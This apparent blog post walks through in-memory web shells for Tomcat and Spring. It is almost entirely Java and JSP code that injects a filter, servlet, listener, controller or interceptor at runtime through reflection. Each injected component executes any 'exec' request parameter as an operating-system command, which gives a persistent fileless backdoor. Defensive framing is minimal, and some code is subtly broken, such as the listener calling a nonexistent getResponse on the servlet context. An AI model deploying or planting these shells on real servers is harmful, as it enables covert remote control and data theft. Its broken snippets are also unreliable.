In-Memory Shell Implementation in Tomcat and Spring

Tomcat In-Memory Shells

Servlet fundamentals are essential for understanding this topic. This section explores three types of in-memory shells:

Filter-Based Implemantation

Filters intercept requests before reaching servlets. This example demonstrates a basic filter:

public class ExampleFilter implements Filter {
    public void init(FilterConfig config) throws ServletException {}
    
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) 
        throws IOException, ServletException {
        chain.doFilter(request, response);
    }
    
    public void destroy() {}
}

To enject a malicious filter at runtime:

<%@ page import="java.lang.reflect.*,org.apache.catalina.*,org.apache.tomcat.util.descriptor.web.*" %>
<%
    // Get StandardContext via reflection
    ServletContext ctx = request.getServletContext();
    Field appCtxField = ctx.getClass().getDeclaredField("context");
    appCtxField.setAccessible(true);
    ApplicationContext appCtx = (ApplicationContext) appCtxField.get(ctx);
    
    Field stdCtxField = appCtx.getClass().getDeclaredField("context");
    stdCtxField.setAccessible(true);
    StandardContext stdCtx = (StandardContext) stdCtxField.get(appCtx);

    // Create malicious filter
    Filter maliciousFilter = new Filter() {
        public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain) 
            throws IOException, ServletException {
            if (req.getParameter("exec") != null) {
                String[] command = System.getProperty("os.name").toLowerCase().contains("win") ? 
                    new String[]{"cmd.exe","/c",req.getParameter("exec")} : 
                    new String[]{"sh","-c",req.getParameter("exec")};
                InputStream input = Runtime.getRuntime().exec(command).getInputStream();
                java.util.Scanner scanner = new java.util.Scanner(input).useDelimiter("\\A");
                res.getWriter().write(scanner.hasNext() ? scanner.next() : "");
            }
            chain.doFilter(req, res);
        }
        public void init(FilterConfig cfg) {}
        public void destroy() {}
    };

    // Register filter
    FilterDef filterDef = new FilterDef();
    filterDef.setFilterName("runtimeFilter");
    filterDef.setFilterClass(maliciousFilter.getClass().getName());
    stdCtx.addFilterDef(filterDef);
    
    FilterMap filterMap = new FilterMap();
    filterMap.setFilterName("runtimeFilter");
    filterMap.addURLPattern("/*");
    stdCtx.addFilterMapBefore(filterMap);
    
    // Initialize filter
    Constructor ctor = ApplicationFilterConfig.class
        .getDeclaredConstructor(Context.class, FilterDef.class);
    ctor.setAccessible(true);
    ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) ctor.newInstance(stdCtx, filterDef);
    
    Field configsField = StandardContext.class.getDeclaredField("filterConfigs");
    configsField.setAccessible(true);
    ((Map) configsField.get(stdCtx)).put("runtimeFilter", filterConfig);
%>

Servlet-Based Implementation

Malicious servlets can be dynamically registered:

<%@ page import="org.apache.catalina.*" %>
<%
    Field reqField = request.getClass().getDeclaredField("request");
    reqField.setAccessible(true);
    Request innerRequest = (Request) reqField.get(request);
    StandardContext stdCtx = (StandardContext) innerRequest.getContext();

    // Create malicious servlet
    HttpServlet maliciousServlet = new HttpServlet() {
        protected void service(HttpServletRequest req, HttpServletResponse res) 
            throws ServletException, IOException {
            if (req.getParameter("exec") != null) {
                String[] command = System.getProperty("os.name").toLowerCase().contains("win") ? 
                    new String[]{"cmd.exe","/c",req.getParameter("exec")} : 
                    new String[]{"sh","-c",req.getParameter("exec")};
                InputStream input = Runtime.getRuntime().exec(command).getInputStream();
                java.util.Scanner scanner = new java.util.Scanner(input).useDelimiter("\\A");
                res.getWriter().write(scanner.hasNext() ? scanner.next() : "");
            }
        }
    };

    // Register servlet
    Wrapper wrapper = stdCtx.createWrapper();
    wrapper.setName("dynamicServlet");
    wrapper.setServlet(maliciousServlet);
    wrapper.setServletClass(maliciousServlet.getClass().getName());
    stdCtx.addChild(wrapper);
    stdCtx.addServletMappingDecoded("/*", "dynamicServlet");
%>

Listener-Based Implementation

ServletRequestListener implementations execute on every request:

<%@ page import="org.apache.catalina.*" %>
<%
    Field reqField = request.getClass().getDeclaredField("request");
    reqField.setAccessible(true);
    Request innerRequest = (Request) reqField.get(request);
    StandardContext stdCtx = (StandardContext) innerRequest.getContext();

    // Create malicious listener
    ServletRequestListener maliciousListener = new ServletRequestListener() {
        public void requestInitialized(ServletRequestEvent event) {
            HttpServletRequest req = (HttpServletRequest) event.getServletRequest();
            if (req.getParameter("exec") != null) {
                try {
                    String[] command = System.getProperty("os.name").toLowerCase().contains("win") ? 
                        new String[]{"cmd.exe","/c",req.getParameter("exec")} : 
                        new String[]{"sh","-c",req.getParameter("exec")};
                    InputStream input = Runtime.getRuntime().exec(command).getInputStream();
                    java.util.Scanner scanner = new java.util.Scanner(input).useDelimiter("\\A");
                    req.getServletContext().getResponse().getWriter().write(scanner.hasNext() ? scanner.next() : "");
                } catch (Exception e) { /* Handle exception */ }
            }
        }
        public void requestDestroyed(ServletRequestEvent event) {}
    };
    
    stdCtx.addApplicationEventListener(maliciousListener);
%>

Spring In-Memory Shells

Controller-Based Implementation

Dynamic controller registration in Spring MVC:

@RestController
public class DynamicController {
    @GetMapping("/register")
    public void registerEndpoint() throws Exception {
        // Get application context
        WebApplicationContext ctx = (WebApplicationContext) RequestContextHolder
            .currentRequestAttributes()
            .getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
        
        RequestMappingHandlerMapping mapping = ctx.getBean(RequestMappingHandlerMapping.class);
        
        // Create malicious mapping
        PatternsRequestCondition patterns = new PatternsRequestCondition("/");
        RequestMappingInfo mappingInfo = new RequestMappingInfo(patterns, null, null, null, null, null, null);
        
        // Create malicious handler
        Method handlerMethod = MaliciousHandler.class.getMethod("execute", HttpServletRequest.class, HttpServletResponse.class);
        mapping.registerMapping(mappingInfo, new MaliciousHandler(), handlerMethod);
    }

    public class MaliciousHandler {
        public void execute(HttpServletRequest req, HttpServletResponse res) throws IOException {
            if (req.getParameter("exec") != null) {
                String[] command = System.getProperty("os.name").toLowerCase().contains("win") ? 
                    new String[]{"cmd.exe","/c",req.getParameter("exec")} : 
                    new String[]{"sh","-c",req.getParameter("exec")};
                InputStream input = Runtime.getRuntime().exec(command).getInputStream();
                java.util.Scanner scanner = new java.util.Scanner(input).useDelimiter("\\A");
                res.getWriter().write(scanner.hasNext() ? scanner.next() : "");
            }
        }
    }
}

Interceptor-Based Implemantation

HandlerInterceptor injection technique:

@RestController
public class InterceptorInjector {
    @GetMapping("/inject-interceptor")
    public void injectInterceptor() throws Exception {
        WebApplicationContext ctx = (WebApplicationContext) RequestContextHolder
            .currentRequestAttributes()
            .getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
        
        AbstractHandlerMapping handlerMapping = (AbstractHandlerMapping) ctx.getBean("requestMappingHandlerMapping");
        
        // Access interceptor list
        Field interceptorsField = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
        interceptorsField.setAccessible(true);
        List<HandlerInterceptor> interceptors = (List<HandlerInterceptor>) interceptorsField.get(handlerMapping);
        
        // Add malicious interceptor
        interceptors.add(new HandlerInterceptor() {
            public boolean preHandle(HttpServletRequest req, HttpServletResponse res, Object handler) {
                if (req.getParameter("exec") != null) {
                    try {
                        String[] command = System.getProperty("os.name").toLowerCase().contains("win") ? 
                            new String[]{"cmd.exe","/c",req.getParameter("exec")} : 
                            new String[]{"sh","-c",req.getParameter("exec")};
                        Runtime.getRuntime().exec(command);
                    } catch (Exception e) { /* Handle exception */ }
                }
                return true;
            }
        });
    }
}

Tags: Tomcat Spring_Framework In-Memory_Shells Web_Security

Posted on Tue, 18 Aug 2026 16:13:10 +0000 by KCAstroTech